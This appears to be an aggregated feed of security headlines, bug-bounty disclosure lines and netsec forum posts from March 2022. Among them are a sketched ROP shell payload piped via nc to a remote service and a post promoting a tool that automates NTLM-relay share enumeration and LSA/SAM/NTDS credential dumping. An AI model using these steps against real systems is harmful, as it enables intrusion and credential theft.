Ghostbusters Continue reading on Medium »

Bug bounty, savunmasız web sitelerini bulmak için Favicon’un Hash’ini kullanır. Yazılımın farklı sürümleri bazen farklı Favicon… Continue reading on Medium »

In an article published on blackhatethicalhacking.com we’re introduced to the nifty tool Uncover. Continue reading on Medium »

Les dernières 24h Continue reading on Medium »

This morning I decided to make a Geolocalization exercise in Hacktoria. Continue reading on Medium »

Yoti disclosed a bug submitted by ww1: https://hackerone.com/reports/1257586 - Bounty: $1000

U.S. Dept Of Defense disclosed a bug submitted by unknownsh: https://hackerone.com/reports/1490133

U.S. Dept Of Defense disclosed a bug submitted by pirneci: https://hackerone.com/reports/1455257

U.S. Dept Of Defense disclosed a bug submitted by pirneci: https://hackerone.com/reports/1455266

U.S. Dept Of Defense disclosed a bug submitted by ahmd_halabi: https://hackerone.com/reports/799895

U.S. Dept Of Defense disclosed a bug submitted by ahmd_halabi: https://hackerone.com/reports/799839

U.S. Dept Of Defense disclosed a bug submitted by ahmd_halabi: https://hackerone.com/reports/800608

U.S. Dept Of Defense disclosed a bug submitted by ahmd_halabi: https://hackerone.com/reports/799855

U.S. Dept Of Defense disclosed a bug submitted by 3th1c_yuk1: https://hackerone.com/reports/1446236

U.S. Dept Of Defense disclosed a bug submitted by pirneci: https://hackerone.com/reports/1305477

Mail.ru disclosed a bug submitted by mkhazov: https://hackerone.com/reports/1348154 - Bounty: $1000

Mail.ru disclosed a bug submitted by fallenskill: https://hackerone.com/reports/1350671

Mail.ru disclosed a bug submitted by fallenskill: https://hackerone.com/reports/1360208 - Bounty: $1000

Mail.ru disclosed a bug submitted by mkhazov: https://hackerone.com/reports/1354335 - Bounty: $1000

http://www.hixie.ch/resources/ https://mirrors.cloud.tencent.com/adobe-fonts/ http://www.paulvlachou.com/fonts/ http://somospixel.com/fonts/ submitted by /u/subwaytech [link] [comments]

submitted by /u/taramj13 [link] [comments]

The API I have works fine locally, but It keeps failing when i try to deploy to netlify. I keep getting this error: node:internal/url:552 5:51:22 PM: throw new ERR_INVALID_URL(input); 5:51:22 PM: ^ 5:51:22 PM: TypeError [ERR_INVALID_URL]: Invalid URL 5:51:22 PM: at new NodeError (node:internal/errors:371:5) 5:51:22 PM: at onParseError (node:internal/url:552:9) 5:51:22 PM: at new URL (node:internal/url:628:5) 5:51:22 PM: at Function.parseURL (/opt/build/repo/node_modules/@node-redis/client/dist/lib/client/index.js:113:76) 5:51:22 PM: at Commander._RedisClient_initiateOptions (/opt/build/repo/node_modules/@node-redis/client/dist/lib/client/index.js:294:36) 5:51:22 PM: at new RedisClient (/opt/build/repo/node_modules/@node-redis/client/dist/lib/client/index.js:77:148) 5:51:22 PM: at new Com…

Hi Everyone, Continue reading on Medium »

Good day, everyone! I spent nearly three hours looking for this bug, but it took me three months to uncover the bug that brought me my… Continue reading on Medium »

Perkenalkan nama saya Muhammad Daffa, seorang mahasiswa di salah satu kampus di Surabaya. Sekarang saya sedang bekerja part time sebagai… Continue reading on Medium »

I hacked adobe using IDOR, and got this Continue reading on Medium »

WardenSwap aims to give rewards to white hats who uncover bugs in our smart contracts and/or vulnerabilities in our protocols by working… Continue reading on WARDEN Official »

Crawl all URLs and check for subdomain takeover vulnerability. Continue reading on Medium »

Yes, Yes, Yessssss! I got many, I think more than 1000+ premium ethical hacking and bug bounty courses FREE. Only you have to spend your… Continue reading on Medium »

Summary: Continue reading on Medium »

Article URL: https://isc.sans.edu/forums/diary/Scans+for+Movable+Type+Vulnerability+CVE202120837/28454 Comments URL: https://news.ycombinator.com/item?id=30725737 Points: 1 # Comments: 0

Article URL: https://isc.sans.edu/forums/diary/Scans+for+Movable+Type+Vulnerability+CVE202120837/28454 Comments URL: https://news.ycombinator.com/item?id=30725737 Points: 1 # Comments: 0

Article URL: https://hub.jhu.edu/2022/03/14/computer-scientist-identifies-javascript-vulnerability/ Comments URL: https://news.ycombinator.com/item?id=30725274 Points: 13 # Comments: 1

浅谈数据安全 by ourren 利用服务网格为基于微服务的应用程序实施 DevSecOps by ourren 浏览网页就能泄露手机号的小秘密 by ourren 攻击面管理（ASM）技术详解和实现 by ourren ATT&CK红队评估三套靶场渗透记录 by ourren 使用DNS Tunnel技术的Linux后门B1txor20 by ourren ApolloScanner: 自动化巡航扫描框架 by ourren Java 之 CommonsCollections利用链初探 by ourren 2021西湖论剑IOT RW-WriteUp by ourren 更多最新文章，请访问SecWiki

submitted by /u/CoolerVoid [link] [comments]

Tool for automating customized attacks against web applications. Entirely made in C language with threads, it has fast performance. https://github.com/CoolerVoid/0d1n submitted by /u/CoolerVoid [link] [comments]

No content preview

No content preview

Lab Goals. This one is a standard “capture the flag” style box with no other goals, so you’re own your own to figure out the methodologies. Continue reading on Medium »

近日，软件开发公司SolarWinds对用户发出警告：安装未打补丁的Web Help Desk软件可能会导致遭受网络攻击的风险。

如何理清SOC相关服务及产品间的关系及组织性，彼此该如何配合，以发挥最大效率？

本届3·15晚会首次设立了信息安全实验室，并测试了两款产品，引起了广泛关注。

Cyclops Blink能在目标设备上建立与攻击者的持久性链接，使其能够远程访问受感染的网络。

匿名者黑客团体及其附属宣称，将继续针对俄罗斯政府和私人组织展开网络攻击。

微软今天提醒Windows用户，他们将会在今年6月份从部分win10版本里淘汰Internet Explorer浏览器。

hi there people, I'm trying to decrypt a salted des3 file using openssl: openssl des3 -d -salt -pbkdf2 -in file.des3 -out file.txt -k password But it shows me the next error: bad decrypt 140292356945280:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt Can you guys figure out what is wrong with the command or am I using smth already deprecated? Thanku all submitted by /u/TaryG19 [link] [comments]

There are several high-level reference models proposed by different sources and industry leaders to assist in the initial definition and separation of zones and conduits, such as: The DuPont Reference Architecture Tofino Security high-level model Honeywell Reference Architecture Rockwell Reference Architecture. Siemens Reference Architecture. How is each model being used in the industrial automation and control systems to define and separate zones and conduits in accordance with IEC 62443 standards? submitted by /u/Economy-Function-337 [link] [comments]

I have a similar problem as this StackExchange question. ​ I have the following scienarion: a vulnerable program running in a server and can be accessed using netcat I have a copy of that program locally and I can exploit it locally using ROP: ./vuln garbage + &system() + &exit() + &"/bin/sh" now I want to exploit it remotely so technically I would be executing this command: echo -e "garbage + &system() + &exit() + &/bin/sh" | nc host port My problem is: I do not know what is &system() on the remote machine. Is there any way to get it without brute force ie: trying all memory address from 0x00000000 -> 0xFFFFFFFF BUT, in my case, there is some extra information given. Every time the program also prints the buf address like this:- Enter a string: Here's a clue! The address of buf is 0xffffdc0c But I don't know how to utilize this piece of information. How do I use this? submitted by /u/reddotname [link] [comments]

Well with the warning that BSI put out alerting users that Kaspersky could possibly be compromised (either now or in the future) my company is looking for alternatives for their Antivirus software. We'll probably begin the process of evaluation next week but I wanted to get a head start and hear some of the netsec communities opinions on alternatives to Kaspersky. We are in the process of becoming ISO 27001 compliant so every procedure is under extreme scrutiny and requires extensive documentation. Some current candidates are Sopho, Bitdefender and Trend Micro. What are your thoughts on ease of deployment, cost, security and privacy policies of the aforementioned alternatives? Any other suggestions for alternatives? Any comments or suggestions are greatly appreciated, thanks. submitted by /u/Goldsound [link] [comments]

submitted by /u/zx2c4 [link] [comments]

submitted by /u/bertinjoseb [link] [comments]

submitted by /u/threat_researcher [link] [comments]

submitted by /u/alt-glitch [link] [comments]

submitted by /u/MiguelHzBz [link] [comments]

Is learning how to manage a network,network simulation with GNS3,and installing physical network has to do with security? I can’t deal with gns3 but i can use packet tracer. But what i am asking is that is it enough to learn about the protocols,routing,ip addressing ,and the tcp/ip stack if i want to work in penetration testing. Or should i use a network simulation and dig deeper? I feel that practicing thorough htb and thm teaches me more now that i learned the fundamentals. And when i am stuck with something like active directory i just go into a room in thm or read about it. submitted by /u/Ramseesthe4th [link] [comments]

Hey everyone, I'm a new infosec analyst and I've been tasked to run a vulnerability scan against our company's printers. Our scanner found that the HTTP 'PUT' method is enabled on several of our printers' webservers. How would I go about remediating this vulnerability if it's a HP Embedded Web Server? Right now, there is zero access control configured to log into the web server. Would enabling that help fix the vulnerability? I don't see anywhere in the server settings to disable the method. Thanks so much! submitted by /u/Zgame200 [link] [comments]

Background about me: few years of low level SOC. mainly just looking at alerts and logs, vuln scanning. honestly dont really do much About the position: not entry level; the requirements look pretty heavy. seems to be a mix of both technical (alerts, incident response, playbooks, risk assessment, threat analysis, vulnerability, backups, pentesting, and more) and GRC stuff. The technical stuff, I have familiarity with most of the stuff, but little practical experience. GRC/compliance stuff, I have no experience whatsoever and have no clue on what to study. Do I just familiarize myself with a bunch of standards like iso 27001? Anyone have experience interviewing or working at a bank? Looking for general tips or guidance on how to prepare for this interview. Thanks! submitted by /u/mygumsaredying [link] [comments]

Help me settle a debate. Is a cloud provider considered to be a Data Steward or a Data Custodian? My vote is they are the Data Steward. A colleague insists they are the Data Custodian. Either way, they have shared responsibility, but again, I'm looking to make sure to use the correct terminology. submitted by /u/paulexander [link] [comments]

Can someone walk me through how I would investigate a URL that’s been flagged as suspicious? a good example: omnatuor[.]com submitted by /u/annonuk2020 [link] [comments]

How do you started on OpenSSL? Currently doing some CTF and I encounter some OpenSSL questions, I don't have any idea how to study this one (done with searching on Youtube) Thank you submitted by /u/pldc_bulok [link] [comments]

I'm a mid-level software engineer with some security experience interviewing with early stage startups for application security engineering positions. Many of these companies are either building a security team from scratch, or have 1-2 security engineers already. I'll primarily be working with developers on doing source code reviews, tool development and automation. I'm assuming there won't be much real mentorship/guidance, so I'd like to know what are some of the first things a new security engineer at an early stage startup should do to hit the ground running. submitted by /u/cppnewb [link] [comments]

Hello everyone, I'm doing my bachelor's in computer science and I'll be writing my bachelor's thesis. Actually my professor offered a thesis topic related to implementation of access control with certificates on vpn. It's nice but requires me to be at the university and unfortunately I can't be at the same city in the next semester. So I'm looking for more research oriented topics related to security and preferably defensive side. I'd appreciate if anyone can suggest me some topics, so I can talk to my prof in the next meeting with different ideas. Thank you in advance. submitted by /u/guneysss [link] [comments]

Hi Security Folks, What are the security metrics you are collecting and reporting every week? Is there a good security dashboard template that I can use for my team/upper c-level manager report？ submitted by /u/Calm_Scene [link] [comments]

Continue reading on Medium »

Kablosuz iletişim teknolojilerinde en önemli paya sahip olan Wi-Fi, radyo dalgalarının kullanılması yoluyla belirli mesafelerde bulunan… Continue reading on Medium »

Les dernières 24h Continue reading on Medium »

submitted by /u/dmchell [link] [comments]

CVE-2021-28372, a vulnerability in third-party software commonly built into many IP cameras, highlights issues in IoT supply chain security. The post CVE-2021-28372: How a Vulnerability in Third-Party Technology Is Leaving Many IP Cameras and Surveillance Systems Vulnerable appeared first on Unit42.

Article URL: https://blog.replit.com/dirtypipe-kernel-vulnerability Comments URL: https://news.ycombinator.com/item?id=30714414 Points: 1 # Comments: 0

Article URL: https://nvd.nist.gov/vuln/detail/CVE-2022-23812 Comments URL: https://news.ycombinator.com/item?id=30707728 Points: 39 # Comments: 2

Introduction Indirect Command Execution is a defense evasion technique that is often used by Red Teams in which an adversary tries to bypass certain defense The post Indirect Command Execution: Defense Evasion (T1202) appeared first on Hacking Articles.

Introduction Indirect Command Execution is a defense evasion technique that is often used by Red Teams in which an adversary tries to bypass certain defense The post Indirect Command Execution: Defense Evasion (T1202) appeared first on Hacking Articles.

U.S. General Services Administration disclosed a bug submitted by hollaatm3: https://hackerone.com/reports/1472721

Internet Bug Bounty disclosed a bug submitted by chamal: https://hackerone.com/reports/1514863 - Bounty: $2400

ownCloud disclosed a bug submitted by n00b-cyborg: https://hackerone.com/reports/1454002 - Bounty: $50

TikTok disclosed a bug submitted by arsene_lupin: https://hackerone.com/reports/1478930 - Bounty: $200

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

在野无状态扫描的综合研究 by Avenger 更多最新文章，请访问SecWiki

在野无状态扫描的综合研究 by Avenger 更多最新文章，请访问SecWiki

I’m running Autopsy 4.19.3 on Windows 10 and I’m unable to run the plaso module against any data source. The logs show this error: SEVERE: Plaso experienced an error during analysis (data source = Y247388.E01, objId = 1, pipeline id = 3, ingest job id = 2) java.nio.file.InvalidPathException: Illegal char at index 92: C:\Users\forensics\Documents\Cases\Y247388-New\ModuleOutput\plaso\2022-03-16 15-15-11 GMT-07:00 It looks like the plaso module is trying to create a file or folder with a colon in it from the timezone information. Is there any way to get around this? submitted by /u/thenebular [link] [comments]

What are the chances it was able to access entire server? Have a team working on it but waiting and wondering. submitted by /u/Otherwise-Special-95 [link] [comments]

submitted by /u/_CryptoCat23 [link] [comments]

Article URL: https://github.com/RIAEvangelist/node-ipc/issues/308 Comments URL: https://news.ycombinator.com/item?id=30711545 Points: 25 # Comments: 13

BOOGIE NIGHTS meets THE TEXAS CHAINSAW MASSACRE in Ti West’s latest Continue reading on Cinapse »

Summary : Continue reading on Medium »

Reconnaissance is one of the first steps to conduct within a pen test engagement. During this stage, information is gathered using… Continue reading on Medium »

Hello Hackers and security community.. Continue reading on Medium »

Hello Hackers and Security community.. Continue reading on Medium »

A odd Google Dorking method I used to successfully find a sql dump. Continue reading on Medium »

This list contains a variety of vulnerable websites, vulnerable web apps, battlegrounds and wargames communities. Continue reading on Medium »

乌克兰安全局（SSU）声称已拘捕一名为俄罗斯部队提供技术支援的黑客。

研究人员在“dompdf”中发现了一个未修补的安全漏洞，如果该漏洞被成功利用，可能会导致某些配置中的远程代码被执行。

GoDaddy管理服务器上托管的部分WordPress网站，被部署了大量后门。

这种新的B1txor20恶意软件能够将目标设备纳入僵尸网络并充当下载和安装rootkit 的渠道。

最近Facebook删除了一段社交网络上传播的假视频，在这则假视频中，乌克兰总统泽连斯基要求乌克兰军队放下武器投降。

submitted by /u/PM_ME_TO_PLAY_A_GAME [link] [comments]

作者：Hcamael@知道创宇404实验室 时间：2022年02月21日 第六个研究的是CVE-2021-21220，其chrome的bug编号为：1196683 可以很容易找到其相关信息： 受影响的Chrome最高版本为：89.0.4389.114 受影响的V8最高版本为：8.9.255.24 并且还附带了exp 搭建环境 一键编译相关环境： $ ./build.sh 8.9.255.24...

作者：Hcamael@知道创宇404实验室 时间：2022年02月21日 第六个研究的是CVE-2021-21220，其chrome的bug编号为：1196683 可以很容易找到其相关信息： 受影响的Chrome最高版本为：89.0.4389.114 受影响的V8最高版本为：8.9.255.24 并且还附带了exp 搭建环境 一键编译相关环境： $ ./build.sh 8.9.255.24...

submitted by /u/BugbearB [link] [comments]

submitted by /u/tubularobot [link] [comments]

submitted by /u/Khaotic_Kernel [link] [comments]

submitted by /u/Gallus [link] [comments]

submitted by /u/XVilka [link] [comments]

submitted by /u/n0llbyte [link] [comments]

submitted by /u/raesene2 [link] [comments]

submitted by /u/Hefty_Knowledge_7449 [link] [comments]

submitted by /u/mstfknn [link] [comments]

submitted by /u/foobarbazwibble [link] [comments]

submitted by /u/mckirk_ [link] [comments]

submitted by /u/digicat [link] [comments]

submitted by /u/SRMish3 [link] [comments]

submitted by /u/Late_Ice_9288 [link] [comments]

ntlmrelayx2proxychains aims to connect the tool of the SecureAuthCorps' impacket suite, ntlmrelayx.py (hereafter referred to as "ntlmrelayx"), along with @byt3bl33d3r's tool, CrackMapExec (hereafter referred to as "CME"), over proxychains, developped by haad. Currently, when having active relays via ntlmrelayx.py, you need to manually provide user, domain, and ip address in CME over proxychains. The idea behind this tool is to automate this process. So have you ever felt too lazy to explore all shares, loggedin users, sessions, disks, and/or password policy manually after using ntlmrelayx or felt too lazy to dump the lsa, sam, and/or ntds on all systems where you found a local administrator? If so, you'll for sure enjoy ntlmrelayx2proxychains! :) Link: https://github.com/He-No/ntlmrelayx2proxychains submitted by /u/BugbearB [link] [comments]

submitted by /u/dmchell [link] [comments]

Step 1: We being Enumeration. Continue reading on Medium »

What is it? Continue reading on Medium »

Full nmap cheat sheet with example. Continue reading on Medium »

7 Steps and Phases of Penetration Testing Continue reading on Medium »

Summary Continue reading on Immunefi »

About Fuji DAO Continue reading on Medium »

Hello everyone, I hope by the grace of God everyone who is reading this blog post is doing well and their families during this pandemic… Continue reading on Medium »

Hello Members, I hope that you liked the previous article that is File-Inclusion. Therefore, I worked hard to complete Penetration-list… Continue reading on Medium »

Hello readers , I am Aditya , a second year student at Madhav institute of Technology and Science , Gwalior . This is a story of how I… Continue reading on Medium »

KitHack Framework is a free and open-source tool available on GitHub. It is designed to automate the process of downloading and installing… Continue reading on Medium »

The Malleable C2 profile helps make Cobalt Strike an effective emulator for which it is difficult to design traditional firewall defenses. The post Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect appeared first on Unit42.

Can a phone be hacked? To where you can see my phone calls, text messages, browser history, and location. If so how can I protect my info? submitted by /u/Valuable-Green-8890 [link] [comments]

I've been wrestling with finding the correct term for a breed of SaaS provider, and I'm hoping that such a thing exists. I'm talking about the SaaS products that use Azure, AWS or Google on the backend for the platform, but construct their own applications for resale. I want to call them middleware, but I know that is not correct. The reason I'm asking is I get A LOT of proposers who make no comments about their own cybersecurity posture, and keep deferring to whatever security is provided by the underlying platform. Thoughts? submitted by /u/paulexander [link] [comments]

hi, one of my friend has been hit from some ransomware, and he just aske me some help to reinstall OS (win10). I wondering that this could be a nice chance to investigate (for fun) windows logs and or system registry with some tools like Registry Explorer. Can I do this on my day-to-day machine? Is there any risk to get infected? Sorry for my probably silly question submitted by /u/g-simon [link] [comments]

Looking for some communities and forums which can help me to learn more about assembly language and reverse engineering. Anyone have any suggestions or resources? submitted by /u/SufficientDistrict10 [link] [comments]

I have been asked me to create functional and non-functional requirements for the products we will acquire from various different vendors. I work in security architecture department. For non-functional they are going to be pretty much generic and I see significant resources on internet but can someone provide some pointers which will help me make functional requirements document for security architecture ? submitted by /u/anjan42 [link] [comments]

Bit of a different post here than usual. Ive been a pentester for 3 years now with the same company. Management is poor and there are many hours spent off the clock being used to catch up on writing reports that couldnt be done in time due to overlapping client work. We are busy (which is "a good thing" as they say), but our team has been grinding pretty much non stop for 2 years. High utilization rates (usually pushing 100%) keep us all booked with little to no wiggle room to pursue career development related items like new certs/training unless its done on whats left of our free time. I likely should've left earlier, but I needed the job for stability. I feel more stable financially but not mentally, so I think it may be time to move on. Its hard to decide if Im just burned out from pentesting as a whole or if I would thrive in a better managed environment. Either way, Im leaning towards internal blue team related jobs as it seems to be the best way to transition my skills. My biggest struggle is dealing with too many clients in a short timespan, and having work follow me after hours. I don't know what job in this line of work can eliminate those two things, but I am on the hunt and would love suggestions! TLDR: What are jobs that pentesters can transition into after getting burnt out? I am thinking about internal blue team related positions, but open to any other suggestions. Please feel free to share any similar experiences as well. submitted by /u/UniversitySquirrel [link] [comments]

Hi all, I work for a financial company that has about 400 employees. I am not an expert on net sec but know some basics. I have been with the company for about two years and am somewhat familiar with our environment. My boss asked me to look into a new pen test vendor and since I have no experience with this sort of thing I was wondering how I should be approaching this. Seems like the last guy who did this is no longer around for guidance. Any help is appreciated. Thank you submitted by /u/Throwawayboi91 [link] [comments]

I have a Dev background and I'm quite familiar with web hacking. Seeing these top hackers automating a ton, one question arise in mind, "What bugs are practically automatable". Everyone is automating subdomain takeovers it's easy to automate but what about Xss or SQLi? Are they automating those only checking URL parameters? submitted by /u/crusader2409 [link] [comments]

I don't have much background in security, I am planning to make a small game for an event. Imagine like a flappy bird except that u will get real prize in form of gift card after finishing the game. To prevent players from cheating, I will obfuscate the js source but how safe is this approach? is it easy to bypass? And how much will js obfuscation impacts performance? submitted by /u/Chillseashells [link] [comments]

Hi! ​ I am reading on AD network security. Currently, I find only network-related security issues regarding NTLM and Kerberos. Are there not other protocols and correlating attacks that is out there? I would love references to papers or blogs. submitted by /u/DiiBBz [link] [comments]

I have taken over a 15 segment switch network that has been neglected in the use of best practices for many years. I have migrated from telnet to SSH, local logins to RADIUS, SNMPv3 and so on. This issue I am having is my coworkers and I are having difference of opinion on certain things. The last issue I had was the best practices in regards to SNMPv3. https://www.reddit.com/r/AskNetsec/comments/taa6ny/snmpv3_password_best_practice/?utm_source=share&utm_medium=web2x&context=3 The advice I got here was helpful for us to come to an understanding on the proper course of action. I would like to ask for more help. We have several internal websites / web GUIs , Cisco Firepower, Cisco Prime, SolarWinds , Cisco Wireless controllers and etc. These site are all internal with no Public facing addresses and just private addressing 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16. I say that we should have a URL and install a web certificate in order to have HTTPS for the traffic to be encrypted. I am getting push back from my coworkers that this is overkill since we don't allow access to these systems. I am thinking that this could be an attack vector since a malicious software could be installed on our network collecting such information and then when they have enough its game over for us. If anyone could direct me to some good information on this topic or take a moment of their time to explain it here? - Thank you in advance submitted by /u/NetworkRex [link] [comments]

Hello, On the website I see two options to download, one of them is ordered by prevalence and one is ordered by hash. Any idea why the ordered by prevalence is much much larger? 17.2 GB vs 11.1 GB https://haveibeenpwned.com/Passwords submitted by /u/itismo [link] [comments]

I want to host my own VPN server. The server in question is pretty discardable a.k.a. if it breaks, I don't really care, so I am planning to port forward it to the internet. The question is: port forwarding SoftEther VPN safe or not? It depends certainly on the port that is open, but in general, how well do VPN servers like softether hold up against worms and trojans and mass-malware? Will it spread to my other devices (which are more valuble than the server)? Is there such thing as network-level port-forwarding malware? I literally tested port forwarding for a minute on a VM device and I got logs from all over the world with 100s of different IP. It is a scary place out there and I want to make sure the port of entry is hardened and secure against these "meteors". submitted by /u/bootsareme [link] [comments]

Every day millions of websites capture information like Name, Address, and Email Addresses for registration on their websites. Is this information considered PII and are they legally obligated to treat it as such? For example, even Facebook captures my name and email address, would this be considered PII? Could someone explain where the line is essentially drawn between what is PII and what is not? Take a CMS like WordPress. WordPress has third-party tools like WooCommerce which capture Name, Physical Address, etc. So, because WooCommerce is capturing this data and it resides on the host installation of WordPress is this considered PII? Which is the point of my question, would million of websites be in violation and could potentially be sued? What would be considered 'reasonable protection'? -FC submitted by /u/FutureCombinations [link] [comments]

Last week, Benjamin Strick Tweeted a little piece of satellite imagery from Planet. The imagery was less than a day old, and showed what… Continue reading on Medium »

Les dernières 24h Continue reading on Medium »

Open source intelligence is a term originally coined by intelligence services. OSINT uses freely available, open sources such as print… Continue reading on Medium »

Installation Continue reading on Medium »

submitted by /u/ilikemacsalot [link] [comments]

Article URL: https://connormcgarr.github.io/type-confusion-part-1/ Comments URL: https://news.ycombinator.com/item?id=30702130 Points: 1 # Comments: 1

Article URL: https://www.veeam.com/kb4288 Comments URL: https://news.ycombinator.com/item?id=30696265 Points: 1 # Comments: 0

[HTB] TheNotebook Writeup by 0x584a ICD（集成网络防御）概念参考模型 by ourren 企业安全运营实践：四个阶段实现风险处置的快和准 by ourren 更多最新文章，请访问SecWiki

[HTB] TheNotebook Writeup by 0x584a ICD（集成网络防御）概念参考模型 by ourren 企业安全运营实践：四个阶段实现风险处置的快和准 by ourren 更多最新文章，请访问SecWiki

Aiven Ltd disclosed a bug submitted by abrahack: https://hackerone.com/reports/1458236 - Bounty: $1500

Slack disclosed a bug submitted by hitman_47: https://hackerone.com/reports/881557 - Bounty: $4875

Flickr disclosed a bug submitted by c4rrilat0rr: https://hackerone.com/reports/1217570 - Bounty: $150

Hi, I am trying to learn autopsy and I am having hard time to find any disk images or data sources that I can use to practice and learn certain aspects/features of autopsy. Can anyone suggest somewhere I can download such samples with/without instructions? submitted by /u/madladmary [link] [comments]

submitted by /u/investigator0101 [link] [comments]

I am currently exploring possible career options in the private sector and was hoping to get some input. The career I am interested in would be a remote position and hopefully near the six figure mark. For the past 8 years I have been in law enforcement as a forensic examiner for an ICAC task force. I have a BS in computer information systems and current certifications include A+, CFCE, ICMDE, CCME, and MCFE. I would like to continue doing something I find meaningful and am looking further into Threat Investigator positions for Meta, though I have yet to determine if this is a good fit. Does anyone have advice or opinions on what other positions may exist and what additional steps I may need to take to better prepare for such a future transition? submitted by /u/outdorksman [link] [comments]

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

美国联邦调查局表示，俄罗斯政府支持的黑客组织正积极利用错误配置的默认多因素认证(MFA)协议从而进入一些非政府组织的云端。

网络安全、数字安全是托起数字经济的底层逻辑，不能建立在侵害消费者知情权与选择权的基础上。

No content preview

追踪移动应用生态系统的安全研究人员注意到，最近Google Play 商店的木马渗透率激增，其中一款应用的下载安装量超过了50万次。

BSI建议用户卸载卡巴斯基反病毒软件，因为他们发现这家网络安全公司可能与俄罗斯持续入侵乌克兰期间的黑客攻击有关

中国软件评测中心选取了市面畅销的多台有屏智能音箱和无屏智能音箱，从网络安全、数据安全和个人信息安全等多个角度进行测评。

在数据库巨头Oracle（甲骨文）、企业服务提供商SAP等云服务商撤出俄罗斯后，俄罗斯面临严峻的IT存储危机。

在2022年3·15晚会上，网络安全问题依旧是重头戏，本届315晚会首设信息安全实验室，直观展示不安全。

Article URL: https://twitter.com/httpie/status/1503862290822664198 Comments URL: https://news.ycombinator.com/item?id=30696255 Points: 7 # Comments: 1

译者：知道创宇404实验室翻译组 原文链接:https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/ 关于网络研讨会 2022年3月10日，卡巴斯基的全球研究和分析小组(GReAT)分享了他们对乌克兰当前(和过往)网络攻击的见解。在这篇文章中，我们解决了我们没有时间回答的问题，并提供了能...

译者：知道创宇404实验室翻译组 原文链接:https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/ 关于网络研讨会 2022年3月10日，卡巴斯基的全球研究和分析小组(GReAT)分享了他们对乌克兰当前(和过往)网络攻击的见解。在这篇文章中，我们解决了我们没有时间回答的问题，并提供了能...

What are you doing about improving yourself/finding an entry-level job in cybersecurity? What is your routine about it? submitted by /u/ogunal00 [link] [comments]

Hey guys, So I do GRC as a living. I skipped from helpdesk into GRC consulting, but I'm interested in gaining technical knowledge in cybersecurity so that I could move to a security engineer/security analyst type role in the event I get tired of the work (which I can see happening atm). Something that should also be mentioned is that my job offers flexibility to be put on engagements that fit a topic you're interested in, though I have heard we don't have as many clients asking for help with implementation. I'm an associate of ISC(2) for the CISSP, have a couple comptia certs, the Azure Administrator, and the CCNA that I grabbed a couple years ago under the "new" exam structure. My company pays for certs, so price is not really an issue. I am interested in whether the GIAC GDSA or the CCNP Security is a more valuable investment. There's not too much information on the GDSA that I can find, and through my research, I have found people recommending to do the CCNP R&S before going to CCNP Security back when it was under a different format. I'm not interested in getting the CCNP Sec if it requires for me to get the CCNP Ent first. I don't really want to be a network engineer nor spend my time learning more advanced networking when I don't see myself using it. The curriculum in the CCNP Sec though seems more up my alley. Another option is to go for my CISM or CISA, but I don't want to focus more on the governance/management side of things when I severely lack practical implementation experience. It is another option on the table though. Thoughts? submitted by /u/DiscombobulatedEar88 [link] [comments]

Hey guys so i had this asp.net application i created for testing security (i am completely new to this field) so while looking for some tutorials i found this cool tool named Nikto which scans servers for vulnerabilities and when i was running my asp.net app and testing it i got this line in the scan results saying : OSVDB-3092: /web.config: ASP config file is accessible. how can i access the web.config file that Nikto says is accessible ? submitted by /u/darkuniv [link] [comments]

Was reading a couple articles written in last 12 months and I get the sense that most OpenVPN services are detected and blocked, as well as UDP (WireGuard). Is there any alternative that currently works besides direct satellite options? submitted by /u/DryBloomer [link] [comments]

submitted by /u/yawkat [link] [comments]

submitted by /u/sanitybit [link] [comments]

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

https://www.youtube.com/watch?v=9CX7muqkjtQ submitted by /u/luzunov [link] [comments]

submitted by /u/nickonos [link] [comments]

On this 4th edition of the discursus Protest Analytics newsletter — March 15, 2022 Continue reading on discursus.io »

Around a year ago, I ended up in a Messenger conversation to assist a friend who had started a new business and had the surprise of… Continue reading on Medium »

今日暂未更新资讯~ 更多最新文章，请访问SecWiki

今日暂未更新资讯~ 更多最新文章，请访问SecWiki

Article URL: https://portswigger.net/daily-swig/node-js-security-parse-server-remote-code-execution-vulnerability-resolved Comments URL: https://news.ycombinator.com/item?id=30686373 Points: 1 # Comments: 0

Article URL: https://www.crowdstrike.com/blog/cr8escape-zero-day-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/ Comments URL: https://news.ycombinator.com/item?id=30686358 Points: 3 # Comments: 0

2022 年 2 月以来，研究人员发现欧洲的移动恶意软件传播增加了 500%。

从西方APT组织的攻击历史及已经泄露的网络武器看，高隐匿、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。

近日，乌克兰国防部宣布将Clearview公司提供的人工智能面部识别技术运营到战场。

黑客表示，俄罗斯对乌克兰的入侵是导致攻击的根本原因。

工信部开展App侵害用户权益整治“回头看”行动，组织第三方检测机构对APP进行重点检测，共发现14款App存在问题。

有关育碧遭到网络攻击的谣言在网上流传，而数据勒索组织LAPSUS$则表明这并不是留言，他们已经入侵了育碧。

乌克兰与俄罗斯之间爆发全面军事战争，网络成为了真实的战场空间。

据以色列媒体报道称，大规模的DDoS攻击致使许多以色列政府网站被迫关闭

Last week we released a blog post about our improvements in Chrome speed over the past year culminating with the M99 release of Chrome. We wanted to follow up by going in depth on how we achieved this milestone in browser performance. Since the launch of Chrome in 2008, one of our core principles has been to build the fastest browser, whether you're on your phone or laptop. We have never strayed from our performance mission, and are always analyzing and optimizing every part of Chrome. We're proud to announce that Chrome scores over 300 on Apple’s Speedometer 2.0 benchmark suite on the M1 MacBook, the highest score we’ve ever seen. In this The Fast and the Curious post we'll go behind the scenes to share all the work that went into making Chrome blazingly fast. “If you can’t measure it y…

http://37.187.20.239/Los%203%20Chiflados/ submitted by /u/inoculatemedia [link] [comments]

submitted by /u/millhouse187 [link] [comments]

submitted by /u/AttitudeAdjuster [link] [comments]

